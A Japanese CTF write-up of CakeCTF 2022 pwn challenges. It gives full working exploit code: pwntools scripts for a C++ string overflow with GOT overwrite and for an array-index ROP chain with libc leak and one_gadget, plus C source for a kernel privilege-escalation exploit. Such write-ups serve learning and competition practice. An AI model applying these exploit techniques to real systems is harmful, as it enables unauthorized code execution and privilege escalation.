CakeCTF 2022 Writeup
Cake CTF 2022にsh -a ./chikuで参加しました。チームメンバーの皆さん、お疲れ様でした
pwn は4問あって、3問は開催中に、1問(crc32pwn)は開催後に解きました。
デザイン、問題の質、運営すべて最高品質で、素晴らしいイベントでした。
やっぱり最近簡単な問題しか解けないし、自分自身の成長が止まっている気がします。
ここ3年くらい、最近新しいものを見ても聞いても何も頭に入ってこないです。終わりです。
Cake MemoryもRound4が解けませんでした。Round2も結構間違えるので、Round3あたりから緊張感がすごかったです。しばらくCake Memoryで脳を鍛えようと思います。
私は、CTFを技術的な知的好奇心とかよりも、問題が解けたときの脳内麻薬だけを追い求めてる気がします。
脳内麻薬ジャンキーなのかもしれません。
str.vs.cstr (88 solve)
C++の問題。
1. set c_str 2. get c_str 3. set str 4. get str choice: 1 c_str: AAAAAAAAA choice: 3 str: BBBBBBBBB
正直、strとcstrの違いは詳しくわからなかったが、
いくつか試してて、本問においては下記のことが分かった。
strは短ければ文字列自体はstackにとられるようだが、
長い文字だと文字列はheap内にとられて、スタックにポインタが保存されている。
c_strは、stack内に文字列自体がとられる。
下記はstrを長めに書き込んだ後stackに残っていた情報
pwndbg> tel 0x7fffffffde30 00:0000│ 0x7fffffffde30 —▸ 0x416fc0 ◂— 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC' 01:0008│ 0x7fffffffde38 ◂— 0x92
0x416fc0 はheap内の文字列そのものが保存されている領域。
stack内にはポインタが残っている。
つまり、strで長めに書き込むことで、スタック内にポインタを作り、
c_strでstack内でBoFすれば、次のstrへの処理で
任意のアドレスへの書き込み、読み込みができる。
あとは
PIEも無効、Partial RELROなので、GOT Overwriteする。
pwndbg> checksec [*] '/home/ubuntu/ctf/cakectf/str_vs_cstr_f088c31cd2d3c18483e24f38df724cad/str_vs_cstr/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@got.plt
を書き換えたが、これはdemanglingしたところ、
std::basic_ostream
だったようだ。
一回目に、大きめにstrをやって、stack内にpointerを作る。
c_strでポインタを上書きする。
from pwn import * elf=ELF("/home/ubuntu/ctf/cakectf/str_vs_cstr_f088c31cd2d3c18483e24f38df724cad/str_vs_cstr/chall") #p=process("/home/ubuntu/ctf/cakectf/str_vs_cstr_f088c31cd2d3c18483e24f38df724cad/str_vs_cstr/chall" # , aslr=True) p=remote("pwn1.2022.cakectf.com",9003) #gdb.attach(p) p.sendlineafter("choice:", str(3)) p.sendlineafter("str:", cyclic(0x30)) p.sendlineafter("choice:", str(1)) p.sendlineafter("c_str:",cyclic(0x20)+p64(0x404048)) p.sendlineafter("choice:", str(3)) p.sendlineafter("str:", p64(0x4016de)) p.interactive()
welkerme (75 solve)
初心者向けKernel Exploitの問題。
脆弱性は自明で、ioctlで任意のコードがカーネル空間で実行できる。
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { long (*code)(void); printk("'module_ioctl' called with cmd=0x%08x\n", cmd); switch (cmd) { case CMD_ECHO: printk("CMD_ECHO: arg=0x%016lx\n", arg); return arg; case CMD_EXEC: printk("CMD_EXEC: arg=0x%016lx\n", arg); code = (long (*)(void))(arg); return code(); default: return -EINVAL; } }
かつ、下記appendを見ればわかる通り、SMAPもSMEPもKPTIもKASLRもない。
#!/bin/sh exec qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel vm/bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \ -no-reboot \ -cpu qemu64 \ -monitor /dev/null \ -initrd vm/rootfs.cpio \ -net nic,model=virtio \ -net user
したがって、KROPとかも不要、KPTI trampolineもいらないし、
commit_creds(prepare_kernel_cred(NULL)); を実行して、そのままシェルを開くだけでいい。
#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #define CMD_ECHO 0xc0de0001 #define CMD_EXEC 0xc0de0002 void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; int func(void) { prepare_kernel_cred = 0xffffffff810726e0; commit_creds = 0xffffffff81072540; commit_creds(prepare_kernel_cred(NULL)); return 31337; } int main(void) { int fd, ret; if ((fd = open("/dev/welkerme", O_RDWR)) < 0) { perror("/dev/welkerme"); exit(1); } // ret = ioctl(fd, CMD_ECHO, 12345); // printf("CMD_ECHO(12345) --> %d\n", ret); ret = ioctl(fd, CMD_EXEC, (long)func); printf("CMD_EXEC(func) --> %d\n", ret); execl("/bin/sh", "sh", NULL); close(fd); return 0; }
躓きやすいところでいうと、 prepare_kernel_cred とcommit_creds だが、
この問題においては、これはVMを起動した後、中でコマンドをたたけばわかる。
/ # cat /proc/kallsyms | grep prepare_kernel_cred ffffffff810726e0 T prepare_kernel_cred / # cat /proc/kallsyms | grep commit_creds ffffffff81072540 T commit_creds
これは私の今年の目標が半分達成したといっていいのだろうか。ダメな気もする。
あけましておめでとうございます。今年は、CTFで1桁solveの問題を解くこととkernelか browserの問題を開催時間中に解くことが目標です。
— ec (@ec76237290) December 31, 2021
本問は細かめのノウハウ、例えば、debugするために-gdb tcp::12345 を付けたり、
- staticを付けてコンパイルしたり、というところが
丁寧、かつ再利用可能な形で全てファイルに書いてあって、
インストラクションとしても、今後のツールとしても最高の問題なので、
2枚印刷して、それぞれ神棚と仏壇に飾っておこう。
exploit: exploit.c gcc exploit.c -o exploit -static run: exploit # clean up rm -rf vm/mount mkdir -p vm/mount # copy exploit cd vm/mount; cpio -idv < ../rootfs.cpio cp exploit vm/mount/exploit cd vm/mount; find . -print0 \ | cpio -o --null --format=newc --owner root > ../rootfs.cpio # run qemu ./run.sh debug: exploit vm/mount # clean up rm -rf vm/mount mkdir -p vm/mount # copy exploit cd vm/mount; cpio -idv < ../debugfs.cpio cp exploit vm/mount/exploit cd vm/mount; find . -print0 \ | cpio -o --null --format=newc --owner root > ../debugfs.cpio # run qemu (debug port: 12345) ./debug.sh
smal arey (42 solve)
Second Bloodだったけど、最終的にたくさん解かれてた問題。
size: 4 index: 3 value: 3735928559
例えばsize=4の時はindex=4を指定すれば、indexを上書きできてしまう。
(3735928559 = 0xdeadbeef)
0x7fffffffde50: 0x0000000000000003 0x00000000deadbeef 0x7fffffffde60: 0x0000000000000004 0x0000000000000003
そうすることで、実質任意のスタックのアドレスを書き込めてしまう。
なんだ、楽勝じゃん!って思うが、ここからが長かった。
0x7fffffffde50より下には、書き換えてもRIPをとれるアドレスがない。
基本的にexitしてしまうので、returnすることはない。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define ARRAY_SIZE(n) (n * sizeof(long)) #define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1)) int main() { long size, index, *arr; printf("size: "); if (scanf("%ld", &size) != 1 || size < 0 || size > 5) exit(0); arr = ARRAY_NEW(size); while (1) { printf("index: "); if (scanf("%ld", &index) != 1 || index < 0 || index >= size) exit(0); printf("value: "); scanf("%ld", &arr[index]); } } __attribute__((constructor)) void setup(void) { alarm(180); setbuf(stdin, NULL); setbuf(stdout, NULL); }
rtld_globalを書き換えたりもしたけど、なぜかRIPに影響がなかった。(なぜ?)
ということで悩んでいたけど、indexをめちゃでかい形にして、メモリアドレスを一周して
スタックの上の方の書きかえればいいのではと思った。
書き換え前
pwndbg> tel 0x7fffffffdd80 10 00:0000│ 0x7fffffffdd80 ◂— 0x0 01:0008│ 0x7fffffffdd88 —▸ 0x4012d2 (main+284) ◂— cmp eax, 1 02:0010│ 0x7fffffffdd90 ◂— 0x0 03:0018│ 0x7fffffffdd98 —▸ 0x1555555552e0 ◂— 0x0 04:0020│ 0x7fffffffdda0 ◂— 0x3 05:0028│ 0x7fffffffdda8 —▸ 0x4011fa (main+68) ◂— cmp eax, 1 06:0030│ 0x7fffffffddb0 ◂— 0xdeadbeef 07:0038│ 0x7fffffffddb8 ◂— 0x4 08:0040│ 0x7fffffffddc0 —▸ 0x7fffffffdd90 ◂— 0x0 09:0048│ 0x7fffffffddc8 ◂— 0x6101b7256f1f1700
書き換え後
pwndbg> tel 0x7fffffffdd80 10 00:0000│ 0x7fffffffdd80 ◂— 0x0 01:0008│ 0x7fffffffdd88 ◂— 0xdeadbeef 02:0010│ rsp 0x7fffffffdd90 ◂— 0x0 03:0018│ 0x7fffffffdd98 —▸ 0x1555555552e0 ◂— 0x0 04:0020│ 0x7fffffffdda0 ◂— 0x3 05:0028│ 0x7fffffffdda8 —▸ 0x4011fa (main+68) ◂— cmp eax, 1 06:0030│ 0x7fffffffddb0 ◂— 0x7fffffffffffffff 07:0038│ 0x7fffffffddb8 ◂— 0x1fffffffffffffff 08:0040│ 0x7fffffffddc0 —▸ 0x7fffffffdd90 ◂— 0x0 09:0048│ 0x7fffffffddc8 —▸ 0x4013e3 (__libc_csu_init+99) ◂— pop rdi
これでEIPは取れたので、gadget使ってROPする。
from pwn import * elf=ELF("/home/ubuntu/ctf/cakectf/smal_arey_070132ff25864d8a9d78b7b30b47238a/smal_arey/chall") libc=ELF("/home/ubuntu/ctf/cakectf/smal_arey_070132ff25864d8a9d78b7b30b47238a/smal_arey/libc-2.31.so") #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") #p=process("/home/ubuntu/ctf/cakectf/smal_arey_070132ff25864d8a9d78b7b30b47238a/smal_arey/chall" # , aslr=False) p=remote("pwn1.2022.cakectf.com",9002) #gdb.attach(p) # AAW in stack ret=0x0040101a pop_rdi=0x004013e3 pop_rsi_r15=0x004013e1 pop_rbp=0x0040119d p.sendlineafter("size:", str(5)) p.sendlineafter("index:", str(4)) p.sendlineafter("value:", str(0xdeadbeef)) # ROP code p.sendlineafter("index:", str(7)) p.sendlineafter("value:", str(pop_rdi)) p.sendlineafter("index:", str(8)) p.sendlineafter("value:", str(elf.got["printf"])) p.sendlineafter("index:", str(9)) p.sendlineafter("value:", str(pop_rbp)) p.sendlineafter("index:", str(10)) p.sendlineafter("value:", str(0x404000)) p.sendlineafter("index:", str(11)) p.sendlineafter("value:", str(ret)) p.sendlineafter("index:", str(12)) p.sendlineafter("value:", str(elf.plt["printf"])) p.sendlineafter("index:", str(13)) p.sendlineafter("value:", str(ret)) p.sendlineafter("index:", str(14)) p.sendlineafter("value:", str(elf.symbols["main"])) p.sendlineafter("index:", str(4)) p.sendlineafter("value:", str(0xffffffffffffffff)) p.sendlineafter("index:", str(0x1fffffffffffffff)) p.sendlineafter("value:", str(0x004013d6)) print(hexdump(p.recv(timeout=1))) libc_base=u64(p.recv()[:6]+b"\x00\x00") - libc.symbols["printf"] log.info("libc_base is "+hex(libc_base)) # libc one_gadget p.sendline(str(5)) # over write p.sendlineafter("index:", str(4)) p.sendlineafter("value:", str(0xdeadbeef)) one_gadget=0xe3b04 p.sendlineafter("index:", str(4)) p.sendlineafter("value:", str(0xffffffffffffffff)) p.sendlineafter("index:", str(0x1fffffffffffffff)) p.sendlineafter("value:", str(libc_base+one_gadget)) p.interactive()
crc32pwn (8 solve)
脆弱性が見つからなかった。
fstatは条件によってはRace Conditionを起こすことがあるらしいが、今回は別になさそうに見えた。
コードをみた思ったのが、stbuf.st_sizeをバグらせればよさそうだなぁと思っていたものの、
そんなファイルを作ることができませんでした。おわり。
もちろん自分では復習するのですが、ほかの方のWriteUpの以上に付加価値は出せなさそうなので書かないでおきます。
その他miscのc_sandboxに着手して、GOT上書きすれば行けそうだなーと思ったのですが、手元でコンパイルするとアドレスがずれるので諦めました。docker内でやればいいのか。そらそうかだわな。
Cake_memoryは、人力でround4をクリアできずに詰みました。heapとにらめっこしてたけど、どうしてもアドレスを見つけられなかった。。。